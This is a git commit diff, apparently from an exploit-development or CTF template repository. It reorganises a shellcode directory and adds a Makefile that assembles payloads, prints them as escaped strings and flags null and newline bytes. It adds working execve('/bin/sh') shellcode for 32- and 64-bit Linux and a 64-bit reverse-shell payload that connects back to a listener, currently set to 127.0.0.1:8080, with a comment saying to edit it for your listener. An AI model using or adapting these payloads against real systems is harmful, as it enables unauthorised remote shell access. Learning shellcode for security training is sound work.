summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--templates/shellcode/.gitignore1
-rw-r--r--templates/shellcode/Makefile38
-rw-r--r--templates/shellcode/examples/shell32.asm16
-rw-r--r--templates/shellcode/examples/shell64.asm24
-rw-r--r--templates/shellcode/examples/tcp64.asm49
-rw-r--r--templates/shellcode/exit32.asm8
-rw-r--r--templates/shellcode/exit64.asm8
-rw-r--r--templates/shellcode/shell32.asm15
-rw-r--r--templates/shellcode/shell64.asm16
-rwxr-xr-xtemplates/shellcode/shelltool.py30
10 files changed, 116 insertions, 89 deletions
diff --git a/templates/shellcode/.gitignore b/templates/shellcode/.gitignore
new file mode 100644
index 0000000..e9c55fb
--- /dev/null
+++ b/templates/shellcode/.gitignore
@@ -0,0 +1 @@
+code.*
diff --git a/templates/shellcode/Makefile b/templates/shellcode/Makefile
index 2e67adc..757878f 100644
--- a/templates/shellcode/Makefile
+++ b/templates/shellcode/Makefile
@@ -1,17 +1,31 @@
-.PHONY: all
+LDFLAGS?=
+FORMAT?=elf64
+CODE?=examples/shell64.asm
+GREP=00|0a
-all: shell32.elf shell64.elf
- @objdump -d shell32.elf | ./shelltool.py
- @objdump -d shell64.elf | ./shelltool.py
+.PHONY: all elf disas
-shell32.o: shell32.asm
- nasm -f elf shell32.asm -o shell32.o
+# Format bytecode as an escaped string, highlight bad bytes
+all: code.bin
+ @xxd -i -c 16 <code.bin \
+ | sed 's/,//g;s/ 0/\\/g;s/^ */"/g;s/$$/"/g' \
+ | grep --color=always -E '$(GREP)|$$'
-shell32.elf: shell32.o
- ld -melf_i386 shell32.o -o shell32.elf
+elf: code.o
+ ld $(LDFLAGS) code.o -o code.elf
-shell64.o: shell64.asm
- nasm -f elf64 shell64.asm -o shell64.o
+disas: code.o
+ @objdump -d code.o \
+ | grep --color=always -E '$(GREP)|$$'
-shell64.elf: shell64.o
- ld shell64.o -o shell64.elf
+code.bin: code.o
+ objcopy -O binary code.o code.bin
+
+code.o: code.asm
+ nasm -f '$(FORMAT)' code.asm -o code.o
+
+code.asm:
+ cp '$(CODE)' code.asm
+
+
+# -melf_i386
diff --git a/templates/shellcode/examples/shell32.asm b/templates/shellcode/examples/shell32.asm
new file mode 100644
index 0000000..6238469
--- /dev/null
+++ b/templates/shellcode/examples/shell32.asm
@@ -0,0 +1,16 @@
+; Originally based on https://www.exploit-db.com/shellcodes/46809
+; See shell64.asm for more details.
+
+; execve("/bin/sh", ["/bin/sh"], [])
+xor eax, eax
+xor ecx, ecx
+push ecx
+push 0x68732f2f
+push 0x6e69622f
+mov ebx, esp
+push ecx
+mov edx, esp
+push ebx
+mov ecx, esp
+mov al, 11
+int 0x80
diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm
new file mode 100644
index 0000000..3812c33
--- /dev/null
+++ b/templates/shellcode/examples/shell64.asm
@@ -0,0 +1,24 @@
+; Originally based on https://www.exploit-db.com/shellcodes/47008
+
+; stack layout
+;
+; ┏━━━━━━━━━━━━━━┓
+; ┃ v
+; [ argv0, NULL ] "/bin//sh" NULL
+; ^ ^ ^
+; ┃ ┃ ┃
+; argv envp filename
+
+; execve("/bin/sh", ["/bin/sh"], [])
+xor rax, rax
+xor rsi, rsi
+mov rdi, 0x68732f2f6e69622f
+push rsi
+push rdi
+mov rdi, rsp
+push rsi
+mov rdx, rsp
+push rdi
+mov rsi, rsp
+mov al, 59
+syscall
diff --git a/templates/shellcode/examples/tcp64.asm b/templates/shellcode/examples/tcp64.asm
new file mode 100644
index 0000000..1ec3bc8
--- /dev/null
+++ b/templates/shellcode/examples/tcp64.asm
@@ -0,0 +1,49 @@
+; Based loosely on https://systemoverlord.com/2018/10/30/understanding-shellcode-the-reverse-shell.html
+
+; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
+xor rax, rax
+xor rdi, rdi
+xor rsi, rsi
+xor rdx, rdx
+mov al, 41
+mov dil, 2
+mov sil, 1
+syscall
+
+; !! Edit this section to connect back to your listener !!
+;
+; struct sockaddr_in { // Struct size: 16
+; short int sin_family; // AF_INET (2)
+; unsigned short int sin_port; // Set to 8080 below
+; struct in_addr sin_addr; // Set to 127.0.0.1 below
+; unsigned char sin_zero[8];
+; };
+;
+; struct in_addr { // Struct size: 4
+; uint32_t s_addr;
+; };
+xor rbx, rbx
+push rbx
+mov rbx, 0x0100007f901f0002
+push rbx
+
+; connect(fd, sockaddr, sizeof sockaddr)
+mov rdi, rax
+mov rsi, rsp
+mov dl, 16
+xor rax, rax
+mov al, 42
+syscall
+
+; dup2(fd, stdin)
+; dup2(fd, stdout)
+; dup2(fd, stderr)
+xor rsi, rsi
+mov al, 33
+syscall
+mov sil, 1
+mov al, 33
+syscall
+mov sil, 2
+mov al, 33
+syscall
diff --git a/templates/shellcode/exit32.asm b/templates/shellcode/exit32.asm
deleted file mode 100644
index 559c89c..0000000
--- a/templates/shellcode/exit32.asm
+++ /dev/null
@@ -1,8 +0,0 @@
-[SECTION .text]
-global _start
-
-_start:
- xor ebx, ebx
- xor eax, eax
- mov al, 0x1
- int 0x80
diff --git a/templates/shellcode/exit64.asm b/templates/shellcode/exit64.asm
deleted file mode 100644
index fb899a2..0000000
--- a/templates/shellcode/exit64.asm
+++ /dev/null
@@ -1,8 +0,0 @@
-[SECTION .text]
-global _start
-
-_start:
- xor rdi, rdi
- mov al, 0x3c
- cdq
- syscall
diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm
deleted file mode 100644
index 5ff2e12..0000000
--- a/templates/shellcode/shell32.asm
+++ /dev/null
@@ -1,15 +0,0 @@
-[SECTION .text]
-global _start
-
-; https://www.exploit-db.com/shellcodes/46809
-
-_start:
- xor ecx, ecx
- xor edx, edx
- push 0xb
- pop eax
- push ecx
- push 0x68732f2f
- push 0x6e69622f
- mov ebx, esp
- int 0x80
diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm
deleted file mode 100644
index 2353b6f..0000000
--- a/templates/shellcode/shell64.asm
+++ /dev/null
@@ -1,16 +0,0 @@
-[SECTION .text]
-global _start
-
-; https://www.exploit-db.com/shellcodes/47008
-
-_start:
- xor rsi, rsi
- xor rdx, rdx
- push rsi
- mov rdi, 0x68732f2f6e69622f
- push rdi
- push rsp
- pop rdi
- mov al, 0x3b
- cdq
- syscall
diff --git a/templates/shellcode/shelltool.py b/templates/shellcode/shelltool.py
deleted file mode 100755
index b95a8cd..0000000
--- a/templates/shellcode/shelltool.py
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/usr/bin/env python
-
-# This script will convert shellcode disassembly into an escaped string literal
-# and warn about problematic bytes in the payload.
-# objdump -d elf | ./shelltool.py
-
-import sys
-
-name = None
-bytecode = []
-badchars = [ 0x00, 0x0a ]
-
-for line in sys.stdin:
- for tok in line.split():
- if name is None:
- name = tok
- if len(tok) == 2:
- try:
- bytecode.append(int(tok, base=16))
- except:
- pass
-
-result = ''.join([ "\\x%02x"%(x) for x in bytecode ])
-result = f'{name}"{result}"'
-
-for x in badchars:
- if x in bytecode:
- result += f' **0x{"%02x"%(x)} detected**'
-
-print(result)